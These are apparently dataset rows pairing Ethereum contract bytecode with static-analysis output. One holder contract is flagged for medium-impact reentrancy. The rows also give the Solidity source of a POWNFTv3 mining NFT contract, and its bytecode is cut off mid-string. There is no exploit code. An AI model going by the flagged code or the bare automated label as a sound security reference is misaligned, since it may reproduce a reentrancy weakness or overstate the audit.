3d6000fd5b505050506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96b5b9b8a7193304150caccf9b80d150675fa3d6af57761d8d8ef1d6f9a1a9098185604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a18092505050919050565b600060205281600052604060002081815481106107fa57fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121788061083a8339019056fe60806040526001600e5534801561001557600080fd5b50612153806100256000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063431b0a5a116100ad578063834ee41711610071578063834ee4171461045957806387fba5221461047757806395d89b41146104955780639ff9c96f14610518578063b6b55f251461053657610121565b8063431b0a5a146102e7578063455fd6231461033f5780634ab49c1e1461035d5780634ec81af11461039f57806370a082311461040157610121565b8063196667e4116100f4578063196667e41461020b5780631f2698ab146102295780632e1a7d4d1461024b578063313ce5671461027957806338d52e0f1461029d57610121565b806306fdde031461012657806312fa6feb146101a9578063158ef93e146101cb57806318160ddd146101ed575b600080fd5b61012e610564565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b1610602565b604051808215151515815260200191505060405180910390f35b6101d3610615565b604051808215151515815260200191505060405180910390f35b6101f5610628565b6040518082815260200191505060405180910390f35b61021361062e565b6040518082815260200191505060405180910390f35b610231610634565b604051808215151515815260200191505060405180910390f35b6102776004803603602081101561026157600080fd5b8101908080359060200190929190505050610647565b005b6102816109b8565b604051808260ff1660ff16815260200191505060405180910390f35b6102a56109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f1565b6040518082815260200191505060405180910390f35b610347610a09565b6040518082815260200191505060405180910390f35b6103896004803603602081101561037357600080fd5b8101908080359060200190929190505050610a0f565b6040518082815260200191505060405180910390f35b6103ff600480360360808110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610c87565b005b6104436004803603602081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119d565b6040518082815260200191505060405180910390f35b6104616111b5565b6040518082815260200191505060405180910390f35b61047f6111bb565b6040518082815260200191505060405180910390f35b61049d6111c1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dd5780820151818401526020810190506104c2565b50505050905090810190601f16801561050a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61052061125f565b6040518082815260200191505060405180910390f35b6105626004803603602081101561054c57600080fd5b8101908080359060200190929190505050611265565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fa5780601f106105cf576101008083540402835291602001916105fa565b820191906000526020600020905b8154815290600101906020018083116105dd57829003601f168201915b505050505081565b600c60009054906101000a900460ff1681565b600660009054906101000a900460ff1681565b60035481565b60075481565b600a60009054906101000a900460ff1681565b6001600e54146106bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f486f646c65723a204c4f434b454400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e8190555060008111610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061205b6024913960400191505060405180910390fd5b60001515600c60009054906101000a900460ff161515146107a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f486f646c65725f77697468647261773a2067616d6520656e646564000000000081525060200191505060405180910390fd5b600060011515600a60009054906101000a900460ff161515146107d8578190506107d333836115a2565b61090e565b6107e182610a0f565b90506003546107fb836004546116bc90919063ffffffff16565b141561081d576001600c60006101000a81548160ff0219169083151502179055505b60008111610876576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120066024913960400191505060405180910390fd5b610880338361173f565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561090d5742600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b61093b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611859565b3373ffffffffffffffffffffffffffffffffffffffff167fb97e775637eca8401af330efee0810af7079bafae27761741e09caa14db8d2728284600a60009054906101000a900460ff166040518084815260200183815260200182151515158152602001935050505060405180910390a2506001600e8190555050565b600260009054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915090505481565b60045481565b60008060035490506000610a30600854600954611a3590919063ffffffff16565b90506000610a95610a4c84600854611ab890919063ffffffff16565b610a87600354610a79600454610a6b8989611ab890919063ffffffff16565b611ab890919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610aae866004546116bc90919063ffffffff16565b90506000610b11610aca86600854611ab890919063ffffffff16565b610b03600354610af586610ae78b8b611ab890919063ffffffff16565b611ab890919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610b4d84610b3f6002610b318887611a3590919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610b89610b68606489611ab890919063ffffffff16565b610b7b8b85611ab890919063ffffffff16565b611b4d90919063ffffffff16565b9050600354841415610c78576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c3957600080fd5b505afa158015610c4d573d6000803e3d6000fd5b505050506040513d6020811015610c6357600080fd5b81019080805190602001909291905050509150505b80975050505050505050919050565b60001515600660009054906101000a900460ff16151514610cf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061207f6026913960400191505060405180910390fd5b6001600660006101000a81548160ff02191690831515021790555083600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260078190555081600881905550806009819055506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610dce57600080fd5b505afa158015610de2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610e0c57600080fd5b8101908080516040519392919084640100000000821115610e2c57600080fd5b83820191506020820185811115610e4257600080fd5b8251866001820283011164010000000082111715610e5f57600080fd5b8083526020830192505050908051906020019080838360005b83811015610e93578082015181840152602081019050610e78565b50505050905090810190601f168015610ec05780820380516001836020036101000a031916815260200191505b506040525050509050610f086040518060400160405280600781526020017f486f646c6572200000000000000000000000000000000000000000000000000081525082611b6d565b60009080519060200190610f1d929190611f60565b506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610f8857600080fd5b505afa158015610f9c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610fc657600080fd5b8101908080516040519392919084640100000000821115610fe657600080fd5b83820191506020820185811115610ffc57600080fd5b825186600182028301116401000000008211171561101957600080fd5b8083526020830192505050908051906020019080838360005b8381101561104d578082015181840152602081019050611032565b50505050905090810190601f16801561107a5780820380516001836020036101000a031916815260200191505b5060405250505090506110c26040518060400160405280600481526020017f686f646c0000000000000000000000000000000000000000000000000000000081525082611b6d565b600190805190602001906110d7929190611f60565b50600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d602081101561116a57600080fd5b8101908080519060200190929190505050600260006101000a81548160ff021916908360ff160217905550505050505050565b60056020528060005260406000206000915090505481565b600b5481565b60085481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112575780601f1061122c57610100808354040283529160200191611257565b820191906000526020600020905b81548152906001019060200180831161123a57829003601f168201915b505050505081565b60095481565b6001600e54146112dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f486f646c65723a204c4f434b454400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e819055506000811161133e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120a56022913960400191505060405180910390fd5b60001515600c60009054906101000a900460ff161515146113c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f486f646c65725f4465706f7369743a2067616d6520656e64656400000000000081525060200191505060405180910390fd5b60001515600a60009054906101000a900460ff16151514611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f486f646c65725f4465706f7369743a2067616d6520737461727465640000000081525060200191505060405180910390fd5b600754611468826003546116bc90919063ffffffff16565b10611511576114836002600754611ab890919063ffffffff16565b611498826003546116bc90919063ffffffff16565b106114ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806120c7602a913960400191505060405180910390fd5b6001600a60006101000a81548160ff02191690831515021790555042600b819055505b61153f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333084611c35565b6115493382611e46565b3373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c826040518082815260200191505060405180910390a26001600e8190555050565b6115f481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164c81600354611a3590919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828284019150811015611739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b61179181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e9816004546116bc90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611932578051825260208201915060208101905060208303925061190f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611994576040519150601f19603f3d011682016040523d82523d6000602084013e611999565b606091505b50915091508180156119d957506000815114806119d857508080602001905160208110156119c657600080fd5b81019080805190602001909291905050505b5b611a2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806120f1602d913960400191505060405180910390fd5b5050505050565b6000828284039150811115611ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b600080821480611ad55750828283850292508281611ad257fe5b04145b611b47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000808211611b5b57600080fd5b818381611b6457fe5b04905092915050565b606082826040516020018083805190602001908083835b60208310611ba75780518252602082019150602081019050602083039250611b84565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611bf85780518252602082019150602081019050602083039250611bd5565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611d425780518252602082019150602081019050602083039250611d1f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611da4576040519150601f19603f3d011682016040523d82523d6000602084013e611da9565b606091505b5091509150818015611de95750600081511480611de85750808060200190516020811015611dd657600080fd5b81019080805190602001909291905050505b5b611e3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061202a6031913960400191505060405180910390fd5b505050505050565b611e5b816003546116bc90919063ffffffff16565b600381905550611eb381600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fa157805160ff1916838001178555611fcf565b82800160010185558215611fcf579182015b82811115611fce578251825591602001919060010190611fb3565b5b509050611fdc9190611fe0565b5090565b61200291905b80821115611ffe576000816000905550600101611fe6565b5090565b9056fe486f646c65725f77697468647261773a207a65726f2061737365742077697468647261775472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c6564486f646c65725f77697468647261773a207a65726f20746f6b656e207769746864726177486f646c65725f696e697469616c697a653a20616c726561647920696e697469616c697a6564486f646c65725f4465706f7369743a207a65726f206173736574206465706f736974486f646c65725f4465706f7369743a2066696e616c206465706f736974206f7574206f662072616e67655472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c6564a2646970667358221220e807298b251c4eb4c3b1b2d2ed809d8491add42f8323f41cb4a170aee2c5d34764736f6c634300060b0033486f646c6572466163746f72793a2070726576696f757320686f646c657220646964206e6f74207374617274a2646970667358221220e9b71e2b4cbf9085af563c0a8e3ac25e0c156ebb0f3527eb5ca06dbb5720ec4a64736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 363 |
0x9abb7bddc43fa67c76a62d8c016513827f59be1b | // SPDX-License-Identifier: This smart contract is guarded by an angry ghost
pragma solidity ^0.8.0;
contract POWNFTv3{
//v2 Variables
uint public UNMIGRATED = 0;
uint public V2_TOTAL = 0;
bytes32 public PREV_CHAIN_LAST_HASH;
POWNFTv2 CONTRACT_V2;
constructor(address contract_v2){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
supportedInterfaces[0x780e9d63] = true; //ERC721Enumerable
supportedInterfaces[0x01ffc9a7] = true; //ERC165
CONTRACT_V2 = POWNFTv2(contract_v2);
V2_TOTAL =
UNMIGRATED = CONTRACT_V2.totalSupply();
PREV_CHAIN_LAST_HASH = CONTRACT_V2.hashOf(UNMIGRATED);
}
//////===721 Standard
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
//////===721 Implementation
mapping(address => uint256) internal BALANCES;
mapping (uint256 => address) internal ALLOWANCE;
mapping (address => mapping (address => bool)) internal AUTHORISED;
bytes32[] TOKENS; //Array of all tokens [hash,hash,...]
mapping(uint256 => address) OWNERS; //Mapping of owners
// METADATA VARS
string private __name = "POW NFT";
string private __symbol = "POW";
bytes private __uriBase = bytes("https://www.pownftmetadata.com/t/");
// ENUMERABLE VARS
mapping(address => uint[]) internal OWNER_INDEX_TO_ID;
mapping(uint => uint) internal OWNER_ID_TO_INDEX;
mapping(uint => uint) internal ID_TO_INDEX;
mapping(uint => uint) internal INDEX_TO_ID;
//ETH VAR
mapping(uint256 => uint256) WITHDRAWALS;
// MINING VARS
uint BASE_COST = 0.000045 ether;
uint BASE_DIFFICULTY = uint(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)/uint(300);
uint DIFFICULTY_RAMP = 3;
event Migrate(uint indexed _tokenId);
// MINING EVENTS
event Mined(uint indexed _tokenId, bytes32 hash);
event Withdraw(uint indexed _tokenId, uint value);
// MINING FUNCTIONS
function generationOf(uint _tokenId) private pure returns(uint generation){
for(generation = 0; _tokenId > 0; generation++){
_tokenId /= 2;
}
return generation - 1;
}
function hashOf(uint _tokenId) public view returns(bytes32){
require(isValidToken(_tokenId),"invalid");
return TOKENS[ID_TO_INDEX[_tokenId]];
}
function migrate(uint _tokenId,uint _withdrawEthUntil) public {
_migrate(_tokenId);
if(_withdrawEthUntil > 0){
withdraw(_tokenId, _withdrawEthUntil);
}
}
function _migrate(uint _tokenId) internal {
//require not migrated
require(!isValidToken(_tokenId),'is_migrated');
//Require before snapshot
require(_tokenId <= V2_TOTAL,'forgery');
//require owner on original contract
require(CONTRACT_V2.ownerOf(_tokenId) == msg.sender,'owner');
//mint the token with hash from prev contract
UNMIGRATED--;
mint(_tokenId,
CONTRACT_V2.hashOf(_tokenId)
);
emit Migrate(_tokenId);
}
function migrateMultiple(uint[] calldata _tokenIds, uint[] calldata _withdrawUntil) public {
for(uint i = 0; i < _tokenIds.length; i++){
_migrate(_tokenIds[i]);
}
withdrawMultiple(_tokenIds,_withdrawUntil);
}
function withdraw(uint _tokenId, uint _withdrawUntil) public {
payable(msg.sender).transfer(
_withdraw(_tokenId, _withdrawUntil)
);
}
function _withdraw(uint _tokenId, uint _withdrawUntil) internal returns(uint){
require(isValidToken(_withdrawUntil),'withdrawUntil_exist');
require(ownerOf(_tokenId) == msg.sender,"owner");
require(_withdrawUntil > WITHDRAWALS[_tokenId],'withdrawn');
uint generation = generationOf(_tokenId);
uint firstPayable = 2**(generation+1);
uint withdrawFrom = WITHDRAWALS[_tokenId];
if(withdrawFrom < _tokenId){
withdrawFrom = _tokenId;
//withdraw from if _tokenId < number brought over
if(withdrawFrom < V2_TOTAL){
withdrawFrom = V2_TOTAL;
}
if(withdrawFrom < firstPayable){
withdrawFrom = firstPayable - 1;
}
}
require(_withdrawUntil > withdrawFrom,'underflow');
uint payout = BASE_COST * (_withdrawUntil - withdrawFrom);
WITHDRAWALS[_tokenId] = _withdrawUntil;
emit Withdraw(_tokenId,payout);
return payout;
}
function withdrawMultiple(uint[] calldata _tokenIds, uint[] calldata _withdrawUntil) public{
uint payout = 0;
for(uint i = 0; i < _tokenIds.length; i++){
if(_withdrawUntil[i] > 0){
payout += _withdraw(_tokenIds[i],_withdrawUntil[i]);
}
}
payable(msg.sender).transfer(payout);
}
function mine(uint nonce) external payable{
uint tokenId = UNMIGRATED + TOKENS.length + 1;
uint generation = generationOf(tokenId);
uint difficulty = BASE_DIFFICULTY / (DIFFICULTY_RAMP**generation);
if(generation > 13){ //Token 16384
difficulty /= (tokenId - 2**14 + 1);
}
uint cost = (2**generation - 1)* BASE_COST;
bytes32 hash;
if(V2_TOTAL - UNMIGRATED != TOKENS.length){
hash = keccak256(abi.encodePacked(
msg.sender,
TOKENS[ID_TO_INDEX[tokenId-1]],
nonce
));
}else{
// First mine on new contract
hash = keccak256(abi.encodePacked(
msg.sender,
PREV_CHAIN_LAST_HASH,
nonce
));
}
require(uint(hash) < difficulty,"difficulty");
require(msg.value ==cost,"cost");
hash = keccak256(abi.encodePacked(hash,block.timestamp));
mint(tokenId, hash);
emit Mined(tokenId,hash);
}
function mint(uint tokenId, bytes32 hash) private{
OWNERS[tokenId] = msg.sender;
BALANCES[msg.sender]++;
OWNER_ID_TO_INDEX[tokenId] = OWNER_INDEX_TO_ID[msg.sender].length;
OWNER_INDEX_TO_ID[msg.sender].push(tokenId);
ID_TO_INDEX[tokenId] = TOKENS.length;
INDEX_TO_ID[TOKENS.length] = tokenId;
TOKENS.push(hash);
emit Transfer(address(0),msg.sender,tokenId);
}
function isValidToken(uint256 _tokenId) internal view returns(bool){
return OWNERS[_tokenId] != address(0);
}
function balanceOf(address _owner) external view returns (uint256){
return BALANCES[_owner];
}
function ownerOf(uint256 _tokenId) public view returns(address){
require(isValidToken(_tokenId),"invalid");
return OWNERS[_tokenId];
}
function approve(address _approved, uint256 _tokenId) external{
address owner = ownerOf(_tokenId);
require( owner == msg.sender //Require Sender Owns Token
|| AUTHORISED[owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(owner, _approved, _tokenId);
ALLOWANCE[_tokenId] = _approved;
}
function getApproved(uint256 _tokenId) external view returns (address) {
require(isValidToken(_tokenId),"invalid");
return ALLOWANCE[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return AUTHORISED[_owner][_operator];
}
function setApprovalForAll(address _operator, bool _approved) external {
emit ApprovalForAll(msg.sender,_operator, _approved);
AUTHORISED[msg.sender][_operator] = _approved;
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
//Check Transferable
//There is a token validity check in ownerOf
address owner = ownerOf(_tokenId);
require ( owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| ALLOWANCE[_tokenId] == msg.sender //or is approved for this token
|| AUTHORISED[owner][msg.sender] //or is approved for all
,"permission");
require(owner == _from,"owner");
require(_to != address(0),"zero");
emit Transfer(_from, _to, _tokenId);
OWNERS[_tokenId] =_to;
BALANCES[_from]--;
BALANCES[_to]++;
//Reset approved if there is one
if(ALLOWANCE[_tokenId] != address(0)){
delete ALLOWANCE[_tokenId];
}
//Enumerable Additions
uint oldIndex = OWNER_ID_TO_INDEX[_tokenId];
//If the token isn't the last one in the owner's index
if(oldIndex != OWNER_INDEX_TO_ID[_from].length - 1){
//Move the old one in the index list
OWNER_INDEX_TO_ID[_from][oldIndex] = OWNER_INDEX_TO_ID[_from][OWNER_INDEX_TO_ID[_from].length - 1];
//Update the token's reference to its place in the index list
OWNER_ID_TO_INDEX[OWNER_INDEX_TO_ID[_from][oldIndex]] = oldIndex;
}
OWNER_INDEX_TO_ID[_from].pop();
OWNER_ID_TO_INDEX[_tokenId] = OWNER_INDEX_TO_ID[_to].length;
OWNER_INDEX_TO_ID[_to].push(_tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
ERC721TokenReceiver receiver = ERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from,_to,_tokenId,"");
}
// METADATA FUNCTIONS
function tokenURI(uint256 _tokenId) public view returns (string memory){
//Note: changed visibility to public
require(isValidToken(_tokenId),'tokenId');
uint _i = _tokenId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr));
}
function name() external view returns (string memory _name){
return __name;
}
function symbol() external view returns (string memory _symbol){
return __symbol;
}
// ENUMERABLE FUNCTIONS
function totalSupply() external view returns (uint256){
return TOKENS.length;
}
function tokenByIndex(uint256 _index) external view returns(uint256){
require(_index < TOKENS.length,"index");
return INDEX_TO_ID[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256){
require(_index < BALANCES[_owner],"index");
return OWNER_INDEX_TO_ID[_owner][_index];
}
// End 721 Implementation
///////===165 Implementation
mapping (bytes4 => bool) internal supportedInterfaces;
function supportsInterface(bytes4 interfaceID) external view returns (bool){
return supportedInterfaces[interfaceID];
}
///==End 165
}
interface ERC721TokenReceiver {
//note: the national treasure is buried under parliament house
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
interface POWNFTv2 {
function hashOf(uint _tokenId) external view returns(bytes32);
function ownerOf(uint256 _tokenId) external view returns(address);
function totalSupply() external view returns (uint256);
//NWH YDY DDUG SEGEN DIN
} | 0x6080604052600436106101665760003560e01c80634f6ccce7116100d15780639d1105301161008a578063b1ac134711610064578063b1ac134714610551578063b88d4fde1461057c578063c87b56dd146105a5578063e985e9c5146105e257610166565b80639d110530146104d4578063a22cb465146104fd578063af88d5991461052657610166565b80634f6ccce71461038a5780636352211e146103c757806370a082311461040457806373dfd221146104415780637e551b751461046c57806395d89b41146104a957610166565b806323b872dd1161012357806323b872dd1461028d5780632f745c59146102b65780633e54bacb146102f357806342842e0e1461031c578063441a3e70146103455780634d4748981461036e57610166565b806301ffc9a71461016b57806306fdde03146101a8578063081812fc146101d3578063095ea7b3146102105780630fdd2ec81461023957806318160ddd14610262575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d9190612a33565b61061f565b60405161019f9190613101565b60405180910390f35b3480156101b457600080fd5b506101bd610687565b6040516101ca9190613137565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612a85565b610719565b604051610207919061309a565b60405180910390f35b34801561021c57600080fd5b5061023760048036038101906102329190612959565b61079e565b005b34801561024557600080fd5b50610260600480360381019061025b9190612995565b61095c565b005b34801561026e57600080fd5b506102776109d8565b6040516102849190613319565b60405180910390f35b34801561029957600080fd5b506102b460048036038101906102af9190612853565b6109e5565b005b3480156102c257600080fd5b506102dd60048036038101906102d89190612959565b6111db565b6040516102ea9190613319565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612aae565b6112e8565b005b34801561032857600080fd5b50610343600480360381019061033e9190612853565b611309565b005b34801561035157600080fd5b5061036c60048036038101906103679190612aae565b611329565b005b61038860048036038101906103839190612a85565b61137d565b005b34801561039657600080fd5b506103b160048036038101906103ac9190612a85565b611605565b6040516103be9190613319565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190612a85565b611669565b6040516103fb919061309a565b60405180910390f35b34801561041057600080fd5b5061042b600480360381019061042691906127c5565b6116ee565b6040516104389190613319565b60405180910390f35b34801561044d57600080fd5b50610456611737565b6040516104639190613319565b60405180910390f35b34801561047857600080fd5b50610493600480360381019061048e9190612a85565b61173d565b6040516104a0919061311c565b60405180910390f35b3480156104b557600080fd5b506104be6117e6565b6040516104cb9190613137565b60405180910390f35b3480156104e057600080fd5b506104fb60048036038101906104f69190612995565b611878565b005b34801561050957600080fd5b50610524600480360381019061051f919061291d565b6119c7565b005b34801561053257600080fd5b5061053b611ac4565b6040516105489190613319565b60405180910390f35b34801561055d57600080fd5b50610566611aca565b604051610573919061311c565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e91906128a2565b611ad0565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190612a85565b611c2e565b6040516105d99190613137565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190612817565b611e2c565b6040516106169190613101565b60405180910390f35b600060146000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060098054610696906137a1565b80601f01602080910402602001604051908101604052809291908181526020018280546106c2906137a1565b801561070f5780601f106106e45761010080835404028352916020019161070f565b820191906000526020600020905b8154815290600101906020018083116106f257829003601f168201915b5050505050905090565b600061072482611ec0565b610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a906132f9565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107a982611669565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148061086b5750600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6108aa576040517f08c379a0000000000000000000000000000